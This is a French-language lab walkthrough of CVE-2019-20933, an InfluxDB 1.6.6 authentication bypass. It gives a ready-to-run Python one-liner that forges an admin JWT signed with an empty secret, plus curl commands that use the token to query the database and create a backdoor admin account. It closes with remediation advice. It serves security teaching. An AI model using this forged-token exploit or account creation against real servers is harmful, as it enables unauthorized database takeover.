
Rédaction pas à pas d'un laboratoire démontrant le contournement d'authentification InfluxDB via des jetons JWT falsifiés (CVE-2019-20933), incluant l'exploitation, la post-exploitation et les conseils de correction.
En commençant par ce qui s'exécute dans l'environnement. Je liste tous les conteneurs actifs :
docker ps

La victime expose un seul port : 8086.
Actuellement, je ne dispose pas d'informations détaillées sur la cible. D'après la sortie de docker ps, le système n'expose qu'un seul service notable en externe sur le port 8086, qui est mappé au service à l'intérieur du conteneur. C'est la principale surface d'attaque à analyser.
Au lieu d'y accéder immédiatement via le navigateur, nous procédons à l'empreinte du service avec Nmap pour déterminer quel service tourne sur le port 8086 :
nmap -sV -sC -p 8086 192.168.3.137

Les résultats du scan montrent que le port 8086 est le service HTTP d'InfluxDB OSS 1.6.6. Il s'agit d'une base de données de séries temporelles exposée via une API HTTP, et non d'une application web classique.
InfluxDB est une base de données de séries temporelles (TSDB) open source écrite en Go. Contrairement aux SGBDR (optimisés pour les transactions précises) ou à Elasticsearch (optimisé pour la recherche textuelle), InfluxDB a été créé dans un seul but : Gérer des volumes d'écriture massifs (débit d'écriture élevé) et interroger des données sur l'axe temporel avec une faible latence.

Le service ayant été identifié comme InfluxDB, l'étape suivante consiste à se référer à la façon dont InfluxDB communique avec les clients. D'après la documentation de l'API HTTP d'InfluxDB v1, le port 8086 est le port d'API HTTP par défaut. Les points de terminaison importants incluent :
/ping : vérifie l'état opérationnel du serveur./query : envoie des requêtes InfluxQL pour lire des métadonnées ou des données./write : écrit des données de séries temporelles dans la base de données.⇒ Réflexion : Après que Nmap a identifié le service comme InfluxDB http admin 1.6.6, nous ne continuons pas à le tester comme un site web standard. Pour les applications web, nous cherchons généralement des routes, des formulaires de connexion ou des répertoires. Cependant, avec InfluxDB, la surface d'attaque réside dans l'API HTTP. Par conséquent, nous devons basculer vers le test des points de terminaison standard de l'API InfluxDB pour déterminer si l'API nécessite une authentification. En conséquence, la prochaine direction de test n'est pas d'accéder à / via le navigateur, mais d'envoyer des requêtes directement aux points de terminaison de l'API d'InfluxDB.
/pingAprès avoir identifié le port 8086 comme l'API HTTP d'InfluxDB, vérifiez le point de terminaison /ping pour confirmer que le service est opérationnel :
curl -i <http://192.168.3.137:8086/ping>

La réponse 204 No Content confirme qu'InfluxDB fonctionne normalement. Les en-têtes confirment en outre la version du service comme InfluxDB OSS 1.6.6
/querycurl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES"

Le point de terminaison /query n'autorise pas les requêtes directes sans informations d'identification. Cela confirme qu'InfluxDB a l'authentification activée et bloque toutes les requêtes anonymes envoyées au système.
Je réfléchis : est-ce que la version 1.6.6 d'InfluxDB présente une vulnérabilité permettant de contourner le mécanisme d'authentification ?

En consultant les bases de données de vulnérabilités publiques, les versions d'InfluxDB antérieures à 1.7.6 sont affectées par CVE-2019-20933. Il s'agit d'une vulnérabilité de contournement d'authentification dans la fonction d'authentification d'InfluxDB, liée à la gestion des jetons JWT avec un secret partagé vide.
Étant donné que la cible exécute InfluxDB 1.6.6, qui est inférieure à la version corrigée 1.7.6, le service se situe dans la plage de versions affectées.
On peut conclure :
Service : InfluxDB OSS
Version : 1.6.6
Authentification : Activée
Correspondance CVE : CVE-2019-20933
Impact : Contournement d'authentification
Statut : Version vulnérable
⇒ Réflexion : Initialement, le point de terminaison /query renvoie 401 Unauthorized, indiquant que le mécanisme d'authentification est actif. Cependant, avoir l'authentification activée ne signifie pas une sécurité absolue. Lorsque la version est identifiée comme 1.6.6, nous devons la corréler avec les CVE connues. Les résultats indiquent que cette version se situe dans la plage affectée par CVE-2019-20933, ce qui signifie qu'il est possible de contourner le mécanisme d'authentification protégeant le point de terminaison /query. Sur la base de ces résultats d'identification, la phase d'exploitation se concentrera sur la vérification de CVE-2019-20933 en générant un jeton JWT approprié pour contourner l'authentification et exécuter des requêtes contre le point de terminaison /query.
La vulnérabilité CVE-2019-20933 se produit dans la fonction authenticate du fichier services/httpd/handler.go d'InfluxDB antérieur à la version 1.7.6.
InfluxDB supporte l'authentification utilisant JSON Web Tokens (JWT) pour les requêtes API HTTP. Lors de la réception d'une requête avec l'en-tête :
Authorization: Bearer <token>
InfluxDB effectuera les étapes suivantes :
shared-secret du fichier influxdb.conf pour agir comme clé secrète pour la vérification de la signature du jeton.username des revendications pour déterminer l'utilisateur exécutant la requête.Dans les versions affectées, si l'authentification JWT est activée mais que le paramètre shared-secret n'est pas configuré, la valeur secrète peut être traitée comme une chaîne vide ("").
Le système ne parvient pas à valider correctement la force de sécurité du secret avant de vérifier la signature JWT. Cela permet à un attaquant de construire un JWT personnalisé, de le signer avec un secret vide, puis de définir la revendication username sur un compte valide du système, tel que admin si ce compte existe dans le laboratoire.
Lorsque ce jeton est soumis via l'en-tête Authorization: Bearer <token>, InfluxDB utilise le même secret vide pour vérifier la signature. Si la signature correspond et que le nom d'utilisateur existe, la requête sera autorisée sans nécessiter le mot de passe réel de l'utilisateur.
Le flux de traitement peut être résumé comme suit :
Flux d'exploitation au niveau logique :
InfluxDB < 1.7.6
→ authentification activée
→ shared-secret vide
→ l'attaquant crée un JWT signé avec un secret ""
→ envoie le jeton via Authorization: Bearer
→ le serveur accepte le jeton
→ la requête vers /query réussit
Après avoir compris le mécanisme de la CVE, il est nécessaire de le corréler avec la cible pour éviter de tirer des conclusions uniquement basées sur la version.
À ce stade, CVE-2019-20933 est identifiée comme un candidat très approprié pour la cible. Cependant, pour confirmer l'exploitation pratique, nous devons générer un JWT signé avec un shared secret vide et le transmettre au point de terminaison /query.
Si le serveur accepte ce jeton et permet l'exécution de requêtes, alors seulement nous pourrons conclure que la CVE a été exploitée avec succès.
D'après l'analyse du mécanisme de la vulnérabilité ci-dessus, les conditions d'exploitation sont :
username valide sur le système."").Authorization: Bearer <token> au point de terminaison /query.Un JWT se compose de 3 parties séparées par des points : En-tête.Payload.Signature
En-tête
{"alg":"HS256","typ":"JWT"}
Payload
{"username":"admin","exp":2147483647}
username : compte cible. Dans ce laboratoire, InfluxDB crée un utilisateur admin par défaut.exp : date d'expiration du jeton, fixée très loin dans le futur (année 2038) pour éviter un rejet pour expiration.Signature
HMAC-SHA256(key = "", message = Base64URL(En-tête) + "." + Base64URL(Payload))
Sur Kali, nous générons le JWT complet avec une seule commande :
python3 -c "
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"python3-c"
import base64, hmac, hashlib, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data,separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64url({'alg':'HS256','typ':'JWT'})
p = b64url({'username':'admin','exp':2147483647})
sig = base64.urlsafe_b64encode(hmac.new(b'', f'{h}.{p}'.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
print(f'{h}.{p}.{sig}')
"

Nous obtenons la chaîne :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw
b64url() : Convertit un dictionnaire Python en chaîne JSON et l'encode au format Base64URL (en supprimant le remplissage = comme le veut la norme JWT).hmac.new(b'', ...) : Signe le message en utilisant l'algorithme HMAC-SHA256 avec une clé vide (b''). C'est le vecteur d'exploitation — la clé vide correspond au shared-secret non configuré sur le serveur.En-tête.Payload.Signature conforme à la norme JWT RFC 7519./query pour vérifier la CVEEnregistrez le jeton dans une variable d'environnement, puis envoyez une requête SHOW DATABASES :
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyMTQ3NDgzNjQ3fQ.11fC_u_se6FXmbZ_xMkbATLi2LHFwnaMNH5-cGYHokw"
curl -i -s "http://192.168.3.137:8086/query?q=SHOW+DATABASES" \
-H "Authorization: Bearer $TOKEN"

Analyse du résultat :
401 Unauthorized à 200 OK.⇒ CVE-2019-20933 est confirmée comme exploitée avec succès sur la cible. Avec un JWT auto-créé signé avec une clé vide, nous avons contourné complètement le mécanisme d'authentification et obtenu un accès aux requêtes en tant qu'admin.
Après avoir contourné avec succès l'authentification, nous procédons à une post-exploitation plus approfondie pour collecter des données sensibles dans les bases de données du système. D'après les résultats de SHOW DATABASES, le système dispose de 2 bases de données : _internal (la base de données de surveillance interne par défaut d'InfluxDB) et sample (la base de données opérationnelle métier).
curl -s "http://192.168.3.137:8086/query?q=SHOW+USERS" \
-H "Authorization: Bearer $TOKEN"

Le système ne contient qu'un seul utilisateur : admin avec des privilèges administratifs (admin: true). Cela confirme que notre JWT falsifié a usurpé avec succès le seul compte administratif du système.
_internalLa base de données sample ne contient aucune mesure (elle est vide). Cependant, la base de données _internal est la base de données de surveillance interne d'InfluxDB et contient toujours des métriques système :
curl -s "http://192.168.3.137:8086/query?db=_internal&q=SHOW+MEASUREMENTS" \
-H "Authorization: Bearer $TOKEN"

La base de données _internal contient 12 mesures de surveillance internes : cq, database, httpd, queryExecutor, runtime, shard, subscriber, tsm1_cache, tsm1_engine, tsm1_filestore, tsm1_wal, et write. Ces tables stockent des statistiques opérationnelles détaillées de l'instance InfluxDB—y compris les journaux de requêtes HTTP, les métriques de performance de la base de données et l'état du moteur de stockage.
Pour démontrer que l'accès admin contourné n'est pas limité à des actions en lecture seule mais accorde également un accès en écriture et administratif, nous effectuons la création d'un nouveau compte utilisateur avec tous les privilèges admin :
curl -s -XPOST "http://192.168.3.137:8086/query?q=CREATE+USER+hacked+WITH+PASSWORD+'Dung'+WITH+ALL+PRIVILEGES" \
-H "Authorization: Bearer $TOKEN"

La réponse renvoie statement_id: 0 sans champ error—confirmant que la commande CREATE USER a été exécutée avec succès. L'attaquant peut désormais se connecter directement en utilisant les identifiants hacked / Dung avec un accès administrateur complet, sans plus besoin du jeton JWT falsifié.
⇒ Cela sert de preuve la plus solide que la vulnérabilité CVE-2019-20933 permet non seulement l'exposition des données, mais permet également à un attaquant de prendre le contrôle total du système InfluxDB—y compris la gestion des utilisateurs, la destruction de bases de données et les modifications de configuration système.
Contrairement aux vulnérabilités d'exécution de code à distance (RCE) ciblant directement la couche système (comme dans le Lab 3), CVE-2019-20933 confine son périmètre d'impact à l'administration au niveau de la base de données. Cependant, la gravité reste extrêmement élevée en raison de :
hacked avec tous les privilèges administratifs.Pour remédier complètement à cette vulnérabilité de sécurité critique, les administrateurs système doivent mettre en œuvre rapidement les contre-mesures suivantes :
Appliquer une configuration de secret partagé fort Si la mise à niveau n'est pas possible immédiatement, éditez le fichier de configuration influxdb.conf pour définir un secret partagé long, complexe et aléatoire sous la section [http] : Remarque : Redémarrez le service InfluxDB après avoir modifié la configuration pour que les changements prennent effet.
ini
[http]
enabled = true
auth-enabled = true
shared-secret = "CucKyManhVaNgauNhienKhongTheDoanDuoc12345!"
Mettre à niveau l'instance InfluxDB vers une version corrigée Mettez immédiatement à jour InfluxDB vers la version 1.7.6 ou supérieure. Les développeurs ont modifié la routine d'authentification dans ces versions pour rejeter les jetons JWT signés avec des secrets partagés vides ou non sécurisés.
8086 à l'Internet public.| Étape | Traitement normal | Faille dans CVE-2019-20933 |
|---|
| 1 | Le client envoie Authorization: Bearer <token> | L'attaquant crée lui-même un JWT |
| 2 | Le serveur lit le shared-secret depuis la configuration | shared-secret n'est pas défini |
| 3 | Le serveur utilise le secret pour vérifier la signature JWT | Le secret est traité comme une chaîne vide "" |
| 4 | Si le jeton est valide, récupère username depuis la revendication | L'attaquant définit username=admin si l'utilisateur existe |
| 5 | Le serveur accorde les permissions basées sur l'utilisateur revendiqué | La requête est acceptée sans nécessiter de mot de passe |
| Condition | Résultat de la cible | Évaluation |
|---|
| Le service est InfluxDB | Nmap identifie InfluxDB http admin 1.6.6 | Satisfaite |
| Version dans la plage affectée | 1.6.6 < 1.7.6 | Satisfaite |
| L'authentification est activée | /query renvoie 401 Unauthorized | Satisfaite |
| Le JWT signé avec un secret partagé vide est-il accepté ? | Nécessite vérification | Non confirmé |
| Le nom d'utilisateur dans le JWT est-il valide ? | Nécessite vérification/supposé dans le lab | Non confirmé |
| Métrique | Évaluation | Détails |
|---|
| Score CVSS | 9.8 (Critique) | Gravité très élevée en raison de la grande facilité d'exploitation. |
| Authentification requise | Aucune | Contourne complètement la barrière d'authentification sans informations d'identification valides. |
| Complexité de l'exploit | Faible | Nécessite seulement de générer un JWT falsifié avec une clé secrète vide et de l'envoyer via un en-tête HTTP. |
| Privilège obtenu | Admin InfluxDB | Obtient le contrôle total de la base de données InfluxDB sous les privilèges administratifs root. |
| Impact sur les données | Élevé | Conduit à l'exposition de toutes les métriques sensibles, avec le pouvoir de modifier ou de purger entièrement les données. |